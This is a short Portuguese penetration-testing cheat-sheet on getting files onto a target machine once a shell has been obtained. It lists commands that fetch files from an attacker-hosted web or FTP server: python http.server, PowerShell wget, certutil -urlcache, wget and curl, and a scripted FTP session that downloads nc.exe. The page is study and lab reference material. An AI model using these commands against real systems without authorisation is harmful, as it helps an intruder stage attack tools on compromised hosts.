Transferência de arquivos
Quando conseguimos ganhar uma shell no alvo, algumas vezes vamos precisar transferir algum arquivo/programa para essa máquina. Existem alguns jeitos de fazer isso.
Web
Para subir um servidor web na nossa máquina para ser acessado no alvo.
python3 -m http.server 8080Em ambiente windows podemos utilizar o powershell ou certutil.
powershell.exe wget http://<ip>/file.exe -OutFile file.execertutil.exe -urlcache -f http://<ip>/<arq> <arq.exe>Ou
certutil -urlcache -split -f "http://<ip>/<arq>.exe" nc.exeEm ambiente linux podemos utilizar o wget e curl.
wget http://<ip>/file.exe -O /tmp/file.execurl http://<ip>/file.exe -o file.exeFTP
Podemos subir um servidor ftp usando o python para transferir arquivos, para isso precisamos instalar antes.
pip install pyftpdlibpython3 -m pyftpdlib -p 21 --writeJá na máquina alvo e com acesso a shell, iremos escrever um arquivo para conectar no ftp, caso a shell seja não interativa.
C:\> echo open <ip-ftp> > ftp.txt
C:\> echo USER anonymous >> ftp.txt
C:\> echo PASS anonymous >> ftp.txt
C:\> echo bin >> ftp.txt
C:\> echo GET <arquivo-para-baixar> >> ftp.txt
C:\> echo QUIT >> ftp.txt
C:\> type ftp.txt
type ftp.txt
open 192.168.2.107
USER anonymous
PASS anonymous
bin
GET nc.exe
QUITAgora, vamos utilizar o utilitário do ftp para ler o arquivo.
C:\> ftp -v -n -s:ftp.txtCom isso, nos autenticamos e conseguimos baixar o arquivo.
Last updated
Was this helpful?